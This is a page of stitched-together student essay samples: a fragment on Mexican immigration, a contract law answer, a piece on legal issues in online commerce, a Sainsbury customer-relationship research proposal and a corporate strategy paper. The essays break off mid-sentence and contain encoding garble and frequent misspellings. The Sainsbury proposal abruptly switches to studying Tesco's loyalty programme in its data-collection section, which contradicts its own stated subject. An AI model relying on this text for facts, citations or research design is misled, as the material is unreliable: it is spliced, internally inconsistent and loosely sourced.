immigration. In response to the public protests, the US government forcibly deported almost 2 million Mexican immigrants, including native-born Americans, to Mexico in 1929. During the time of the World War II, United States was badly in need of labors and hence the country again encouraged Mexican immigration. Based on the Bracero Program mutually agreed by US and Mexican officials, Mexican workers again migrated to the US until 1964. Since then the US government and corporations has been indirectly encouraging Mexican immigration flow so as to meet their labor needs at cheap costs. As many authors point out, there is an unspoken agreement between illegal Mexican immigrants, the US government, and corporations. Statistics of Illegal Mexican Immigrants According to the American Community Survey, 11,478,000 foreign born Mexican immigrants were residing in the US as of 2009 (as cited in border relations, n. d.). Mexican immigrants constituted 29.8% of all immigrant populations in US in the same year. As Valdes (2012) reported in CNN July 13, report published by the Pew Hispanic Cente r indicates that over 58% of the identified illegal immigrants in the US are Mexicans. Surveys also report that Mexican illegal immigrants mainly reside in states including California, Texas, Florida, and New York. It is observed that the Illegal Mexican population tends to concentrate in a different set of occupations as compared to other illegal population. However, nearly 1.4 million Mexicans including documented and undocumented immigrants moved

Contract Law Essay Example | Topics and Well Written Essays - 2250 words - 2

Contract Law - Essay Example Amber has made an offer to pay David  £20,000 after supplying the computer software. David accepted the offer and by commencing to fulfil his obligations, David has simply accepted to be bound by the terms of the contract. The terms of the contract are that David would be paid  £20,000 and finish the contract by 30/05/04. Therefore there exists one of the essentials of a valid contract i.e. consensus and ideam a part from offer and acceptance. This principle refers to a ‘meeting of the minds’. It must be shown that both parties understand the subject matters of the contract before agreeing (assenting). None of the parties i.e. between David and Amber can deny knowledge to the terms of the contract. However, an offer terminates if a counter offer is made to them. This is a reply to an offer whose effects is to vary the terms of the original offer. A counter offer extinguishes the original offer and the person to whom it was originally made cannot move it. However, it can result in a contract if its terms are accepted by the original offers.

Legal Issues-Business Law Essay Example | Topics and Well Written Essays - 750 words

Legal Issues-Business Law - Essay Example The medium of transaction in the online world may not satisfy the existing legal requirements like a contract should be in writing. Like in the conventional business transactions, there are concerns to regulate online commerce. However, the nature of traditional business and online commerce differ significantly. It is these differences that lead to legal issues to arise. The legal issues relating to online commerce is further compounded by the fact that the existing law is territorial. This implies that the existing law is limited in its application to the persons or activities within the boundaries of a region or a state. Unlike the usual business transactions, online commerce does not occur within the precincts of one physical location. It is crucial that the law should adapt to the online commerce needs, as well as respond to the differences between traditional commerce and online commerce. The law must adapt to online commerce realities by providing a clear guidance for parties engaging in electronic communication and online commerce. This is particularly important in simulating online commerce to reach its full commercial potential. I agree with the article that the law needs to evolve in order to address emerging issues in online communications and particularly online commerce. It is important that the law should be designed to accommodate the traditional aspect and online commerce as well. The book titled â€Å"Code† written by Lawrence Lessig provides insights into the whole concept of online commerce. In order to have a better understanding and its implications, particularly legal perspectives, this paper will highlight what is important in chapters 1, 2 and 3 of the book. In chapter one, the book provides historical background of the advent of online commerce. The chapter discusses the beginning of a new political society after the collapse of communism in Europe. It further points out to the fact that a

Customer Relationship Strategy Case Study: Sainsburys

Customer Relationship Strategy Case Study: Sainsburys Research background: This research paper is focused strategy fallowed by Sainsbury to maintain customer relationship. In this research paper we will go through the different methods implemented by Sainsbury to gain relation with a customer. In todays global market relationship management had gained a lot of importance in every  business. The customer relationship is not confined with service industry, now a days  manufacturing industries too fallowing good relationship with their customers. The customer relationship management is applied by most of organizations because customer is the king in every business and he is the centre point to provide the revenue to a organization. Customer relationship management is a transparent wall between the customer and organization. Customer relationship will be measured based on the loyalty presenting by customer. So now going to discuss about the strategy fallowed by Sainsbury to maintain customer relationship 3. Organization background: Sainsbury is a super market which will operates its business in retail sector from the year 1869. Sainsburys is started by james and Mary Ann Sainsburys. The growth and development of the Sainsbury was increased rapidly and leads to one of the major player in the retailers of UK. It started from single shop and now grown up to 900 retail outlets in the UK. It performs its business operations with 180,000 employees. Sainsburys is the first supermarket which came in market with their own products like soft drinks, food materials and glossaries. It is one of supermarket which provides it services by online and the customer in the store is also given the chance to bill their products. The major competitors of the Sainsbury are TESCO and ASDA. In the part of business, store deals with different range of products for all class of people in the society. Sainsbury maintains good customer relations. Pest Analysis of Sainsbury Political Factors Taxation Sainsbury will get taxed based on their taxation code provided by the governing  bodies of taxation. Salary The employees are paid highly when compared to the other supermarkets.   Working hours They will give only 2 hours per school children and 20 hours for the  people aged above 18. They follow equal employment and wages act and they provide more health and safety to  employees. Economical Factors- Inflation Rates Unemployment Levels Income Labour laws Skill level of work force Social Factors Demographic Trends Level of education Culture living styles Lifestyles and Attitudes Technological factors Online shopping facility Self checkout tills Widespread availability and high speed broadband internet Electronic Data Interchange 4. Rational for the chosen topic: It is decided to research on the above topic, because of academic, personal and business perspectives. In academic carrier, research proposal study is very appropriate subject for course and my future purpose .This research paper is focused strategy fallowed by Sainsbury to maintain customer relationship. In this research paper we will go through the different methods implemented by Sainsbury to gain relation with a customer. In todays global market Customer relationship management (CRM) is one of the important  tactics to gain the relation between consumer and organisation. Customer relationship  management will leads to the enhancement of popularity of the organization in the global  market. In todays market many of the organisations are implementing this customer  relationship management because customer is the centre point at every business. From the  past records organisation came to single opinion i.e. which organisation has good relation  with it customer will survive for long period in the market. 5. Literature review: According to (Mike Hoots), Customer relationship management is implemented by most of  organizations to know the potential customers of their business and their requirements  expecting from organization side. The organization position in the global market may defined by the customer relations and  their satisfaction. In todays scenarios customer is the king and he is one and only option for  generating the revenue to the business. Customer plays a key role in almost of all the  industries which are service and manufacturing. The organization which is having good  customer satisfaction and excellent customer relationship will gain the business from the  market and the growth of that particular organization will be more when compared with other  organizations which are giving less priority to customer relationship. 6. Research questions: According to the reviewed literatures, they all mentioned that the important of customer satisfaction programme and in which ways it is gained in an organisation. But they did not discover that how the customer satisfaction programmes and customer satisfaction draws a path to a organisation toward success. Thus, this research proposal proposes to analyse to answer these questions: 1. What are the key activities included into Customer relationship management? 2. What are the customer services provided towards customer satisfaction? 3. To what extent does the Customer relationship management contribute to Sainsbury financial success? 7. Research objectives: Objectives of this research paper are to present the evidence for some of the questions and to  gain theoretical knowledge on whats customer relationship management and its effects on  the business. Find out Sainsburys improvement in customer satisfaction and its relationship with existing customers? What are the best approaches to gain a relationship with a loyalty customer? What are the influences of customer relationship on the Sainsburys business and its  development? What are the important strategies implementing by Sainsbury in customer relationship  management to return to its old market position in the retail sectors? 8. Methodologies: Methodology Exploratory research method chosen for this research paper Exploratory research will present the relationship which is existing between two different  variables. Before starting with exploratory research we shall know about the advantages in  taking this kind of research method and how it is more helpful than the other research  methods. Exploratory defines the relationship between the two distinct factors and it will be more  convenient method for this research. This research method is very flexible for providing a  understanding during the decision problems and opportunities. This research method will  help in grabbing the strategy fallowed by sainsburys for gaining the relationship with the  existing customers and to attract the new customers from the global market Sainsbury and customer relationship management are the two distinct variables in this  research paper. This research will goes on what are the different strategies fallowed by  Sainsbury to maintain good customer relationship. Exploratory research will be comfortable  method to carry this research. Data is gathering from either sides of the organization. Inside of a organisation data is  collected from employees and from the customers of Sainsbury That to data is collected from  the employees who are involved in maintaining customer relationship management. Data is  gathered by introducing myself to the customer and explaining the objective of the project  and later had chat about the satisfaction and impression on the organization. Due to casual chat with customer and enquired by about some important things like cost, quality and services providing and finally collecting the information from employees about the customer number of visits to that particular shop Later i followed the passive style, in which i observed reactions of the customers for the  services providing by the employees in the Sainsburys. This research paper is mainly focused to gain a brief understanding about the customer  behaviour; this study was done more qualitative rather than quantitative research. Qualitative  method was carried based on three types which are mentioned below. Face to face interview Semi-structured interview Passive style Face to face Interview- The face to face interview was done with topic related employees in  the Sainsburys and later conducting a interview to a customer directly. This face to face  interview is also called as In-depth interview. Semi-structured interview this is same as face to face interview but i distributed the pre-questionnaire concerning about the interview. Passive style- Passive style is the process of observing the customers without informing them. The customers are identified secretly when the employees are providing service. Apart from the three methods, fallowed the survey method. In the survey method i went through the secondary data like, company website, news papers  and the articles related to the Sainsbury. In this research paper the data collected through both quantitative and qualitative methods. In  the quantitative method the data is in the form of numbers and which is collected by using the questionnaire. The qualitative data which provides the information in the form of description  which is collected by conducting the interview to customers and the employees of  Sainsburys. This research paper needs a detail study so sample questionnaire is supplied to the existing and new customers of Sainsbury and even collected the information orally by asking about the services provided by Sainsbury. Data collection: When conducting data collection, the un structured interviews will be used with Tescos employees and customers to evaluate customer loyalty programme and investigate the customer perspectives. The data concern with perspectives like thinking, satisfaction and believes. To collect these qualitative data, un structured interviews will be suitable than other methods. Because, we can not have predetermined questions for the perspective which might change for place to place as well as person to person. That is why it is decided to conduct un structured interviews. The data will be collected with selected sample units by asking one or two opening questions and conversations for ten or fifteen minutes. The questions will interact with some matters, for example, why Tesco introduced loyalty card?, why the customer prefer often to shopping in Tesco?, how the customers fell when using loyalty card in Tesco?, what are the other services provided to customer? Is the loyalty programme useful to customer? At the mean time, do Tesco achieve its purposes by that programme? This interview will be conducted once a week for five weeks in the Tesco in London. Every time will choose different areas for research; this is because the answers of customers will vary from place to place. And 3 sample units will be selected to investigate each time. 6. Data Analysis: The collected data from fifteen sample units by interviews, will be analysed to accomplish the objective of research proposal. The obtained qualitative data such as opinions, satisfaction and believes will be analysed to decide that really the customer loyalty programme brings customer satisfaction as well as customer satisfaction brings financial success for Tesco within competitive market in UK. References Alan Bryman Emma Bell,2007, Business Research Methods, second edition, Oxford  University press, UK. Mc Burney White, 2007, Research methods, eighth edition, wadsworth cengage learning,  USA. John gill and Phil Johnson, 1991, Research methods for managers, first edition, paul chapman  publishing ltd, UK. AD Jankowicz,2000, Business Research projects, third edition, Thomson learning, UK. Judith Bell, 2008, Doing your Research project, fourth edition, open university press, MC  Graw hill education. UK. www.sainsburys.co.uk, 2010, Sainsbury company overview, (Online), Available from URL   http://www.j-sainsbury.co.uk/index.asp?pageid=12, Accessed on 27th -03-2010. www2.sainsburys.co.uk, 2010, customer and marketing, (Online), Available from URL-  http://www2.sainsburys.co.uk/aboutus/recruitment/Store+Support+Centre/Custo mer+and+Marketing/Customer+and+Marketing+Overview.htm, Accessed on 01-04-2010.a www.thisislondon.co.uk, 2008, Sainsbury defies the City with yet more sales growth,  (Online), Available from URL-http://www.thisislondon.co.uk/standard- business/article-23496207-sainsbury-defies-the-city-with-yet-more-sales-growth.do, Accessed on 02-04-2010. www.oppapers.com, 2010, Customer relationship management, (Online), Available from  URL-http://w ww .oppapers .com/es s ays /Cus tomer- R elationship-Management/189988, Accessed on 07-04-2010. www.rgis.com, 2010, Sainsbury overview, (Online), Available from URL-  http://www.rgis.com/assets/pdfs/casestudies/Sainsbury_Case_Study.pdf, accessed  on 09th-04-2010. Corporate Strategy: Financial Strategy and Cultural Effects Corporate Strategy: Financial Strategy and Cultural Effects Introduction The objectives of this paper are two-fold: first, the paper looks at the role of financial strategy in an organisation, the risks faced by an entity and how these risks affect the financial strategy; second, the paper provides a discussion in relation to whether cultural factors have an impact on corporate strategy, as well as whether it is beneficial for an organisation to be ethical. The paper begins by looking at financial strategy and organisational risks. It will later consider cultural and ethical issues. The role of financial Strategy in an Organisation. Financial strategy can be defined as the practices adopted by a firm to achieve its financial objectives. (Harvey, 2004). According to Calandro and Flynn (2007) â€Å"financial strategy can be defined as an interdisciplinary methodology to more efficiently allocate resources within a firm to better or more economically satisfy customer preferences over time†. The later definition stresses the need for customer satisfaction indicating that shareholder value creation depends on customer satisfaction. Although an organisation’s overall objective is shareholder value maximisation, it can only achieve this through high levels of customer satisfaction because it is only through high levels of sales that profit can be generated and high levels of sales can only be achieved through high levels of customer satisfaction. The main financial objective of a profit-making entity is to maximise shareholder value. (Ogilvie, 2005). Shareholder value is measured by the returns shareholders receive each year, represented by the dividend received each year, plus the capital gains from capital appreciation, which is measured by the growth in the share price of the entity. In addition to maximising shareholder value an organisation may have other objectives such as satisfactory returns, high sales levels, high level of customer satisfaction, etc. (Ogilivie, 2005; Calandro and Flynn, 2007). Kaplan and Norton (1996) identify three different stages for a business and note that each of these stages has its own unique financial objectives. The three stages include: (1) rapid growth; (2) sustain; and (3) harvest. (Kaplan and Norton, 1996). At the rapid growth phase the financial objective will be to achieve sales growth, achieve sales in new markets and to new customers, achieve sales from new products and services, maintain adequate spending level for product and process development, establish new marketing, sales and distribution channels. At the sustain phase the organisation will emphasize traditional financial performance measurements, such as return on capital employed, operating income and gross margin. Standard discounted cash flows and capital budgeting analysis will be used to appraise investments although some companies may emphasise the use of more recent appraisal techniques such as economic value added and shareholder value added. At the harvest phase, the main financial objective will be to achieve sustainable levels of cash inflows, in which case any investment project must have immediate and certain cash paybacks. (Kaplan and Norton, 1996). Financial strategy constitutes three main stages, which are temporarily linked in a financial feedback loop as shown in figure 1 below. These stages include: (1) strategy formulation; (2) resource allocation; and (3) performance measurement. An important aspect of strategy formulation is strategic planning, which according to Myers (1984) involves the process of deciding how to commit the firm’s resources across different lines of business. Based on the above discussion, one can observe that financial strategy plays an important role in an organisation. It enables the organisation to formulate its strategy, determine how to allocate its resources and enables the company to measure its performance. Financial strategy enables an entity to make an assessment of its financial needs, the sources of support required to meet its objectives and fulfil its mission while at the same time planning for growth and stability. Financial strategy is an indispensible prerequisite for the formulation and development of the budget. Organisations often face a number of risks. These include liquidity risks, interest rate risk, business risks, financial risks, etc. these risks may affect the financial strategy in a number of ways. Financial risk for example is the risk that the company may be unable to meet its commitments to repay interests and principal repayments on its long-term financial obligations. The effect of such a risk on the financial strategy is that the company will emphasise the use of internally generated funds and equity to finance long-term projects rather than issue bonds or other long-term debt securities. Interest rate risk may also affect the firm’s capital structure decision in that perceived high levels of interest rates on long-term debt may reduce the company’s motivation to use debt financing. Foreign exchange rate risk may affect the company’s prospects to expand production abroad, as well as the currency denomination of foreign contracts and sales. Liquidity risks may affect the company’s short-term borrowing. The presence of high liquidity risk may warrant the company to resort to a just-in-time inventory system, reduce short-term debtors by maintaining more strict short-term credit policies and factoring of accounts receivables. Effect of Cultural Factors on Corporate Strategy Andrews (1997: p. 52) defines corporate strategy as â€Å"the pattern of decisions in a company that determines and reveals its objectives, purposes, or goals, produces the principal policies and plans for achieving those goals, and defines the range of business the company is to pursue, the kind of economic and human organisation it is or intends to be and the nature of the economic and non-economic contribution it intends to make to its shareholders, employees, customers, and communities†. Corporate strategy in effect maps out the businesses in which an organisation intends to compete in a way that focuses resources to convert distinctive capabilities into competitive advantage. (Andrews, 1997). The definition of corporate strategies emphasises the need for the organisation to satisfy the needs of all the stakeholders if the organisation is to achieve is overall objective of maximising shareholder value. Stakeholders include employees, customers and the communities in which the organisation operates. Employees, customers and communities therefore have a significant impact on the success of the organisation and thus on the corporate strategy of the organisation. In formulating corporate strategy, organisations need to identify and priorities strategic issues, which involves scanning, selecting, interpreting and validating information. (Schneider, 1989) To properly formulate its corporate strategy, an organisation must assess its organisational strengths and weaknesses, as well as its environmental threats and opportunities, which will enable it choose among alternative courses of action. (Hofer and Schendel, 1984) cited in Schneider, (1998). This indicates that an organisation must perform a SWOT (strengths, weaknesses, opportunities and threats) analysis prior to formulating corporate strategy. A number of factors have been identified as having an effect on corporate strategy formulation: for example, Kets de Vries and Miller (1984) suggest that managerial personality and experience is an important determinant of the strategy formulation process; Janis (1972) considers group dynamics as an important factor affecting the formulation of corporate strategy while Frederickson (1984); Lyles and Mitroff (1985) suggest that organisational structure plays an important role in strategy formulation. Schneider (1998) citing Schein (1985) notes that National culture could play an important role in strategy formulation as it derives from assumptions regarding relationships with the environment as well as relationships among people. Schneider (1998) argues that these assumptions will influence how information is gathered and how that information is interpreted within the organization. The strategy formulation process can therefore not be considered ‘culture-free’ because information is embedded in social norms and acquires symbolic value as a function of a particular set of beliefs in a particular set of cultures. (Feldman and March, 1981). There are considerable differences in cultures across countries. Culture is defined as â€Å"a system of shared assumptions that has developed over time to solve problems of environmental adaptation and internal integration†. (Schneider,, 1998: p. 152) citing Schein (1985); Van Maanen and Barley (1983). Culture is expected to affect the process by which the environment is known and responded to because it is thought to influence the way people perceive, think, feel and evaluate. (Schneider,, 1998). There are two sets of cultural assumptions that are thought to be specifically relevant to the formulation of corporate strategy. These include external adaptation and internal integration. (Schneider, 1998). On the one hand, external adaptation refers to the relationship with the environment while internal integration on the other hand refers to the relationships among people. The forgoing indicates that cultural factors have a significant effect on corporate strategy and thus calls for a critical consideration of cultural differences especially for multinational companies that usually operate in a number of different countries with varying degrees of culture. A company therefore stands to gain a lot from being ethical. Companies that are perceived as being unethical may suffer from declining sales and thus declining profit margins. There are also differences as far as ethical issues are concerned. What may be considered unethical in one country may be considered ethical in another country. For example, Muslim communities do not eat pork meat and thus will consider a company that attempts to market pork related products as contravening their cultural believes. In addition there are considerable differences in relation to organisational hierarchy across countries. In countries where power distance is considered very important, information is likely to flow only from top to bottom and not from bottom to top. In addition, an autocratic form of leadership is likely to prevail in such societies. On the contrary, in a country where power distance is considered less important, there would be a two way flow of information and a democratic leadership style is likely to prevail. For example, Motorola faced a number of problems when it expanded its activities to South Korea. (Siegal et al., 2007). In like manner IKEA, the giant furniture dealer faced difficulties when it expanded its activities into the United States. (Grol et al., 1998). BIBLIOGRAPHY Andrews K. (1997). Resources and Strategy: A Reader, edited by Nicolai J. Foss. Oxford University Press, ISBN 0198781792, 9780198781790 Calandro, J. Jr., Flynn, R. (2007). â€Å"On Financial Strategy†, Business Strategy Series, vol. 8, No. 6, pp. 409-417. Harvey G. (2004) â€Å"Financial strategy† available online at: http://financial-dictionary.thefreedictionary.com/Financial+strategy Grol, PC, Schoch, C, CPA. (1998). IKEA: managing cultural diversity. In Cases in International Organizational Behavior. Oddou G, Mendenhall M (eds.). Blackwell: Malden MA; 88-112. Janis, I. L. (1972) â€Å"Victims of groupthink†, Boston: Houghton-Mifflin. Kaplan, R. S., Norton, D. P. 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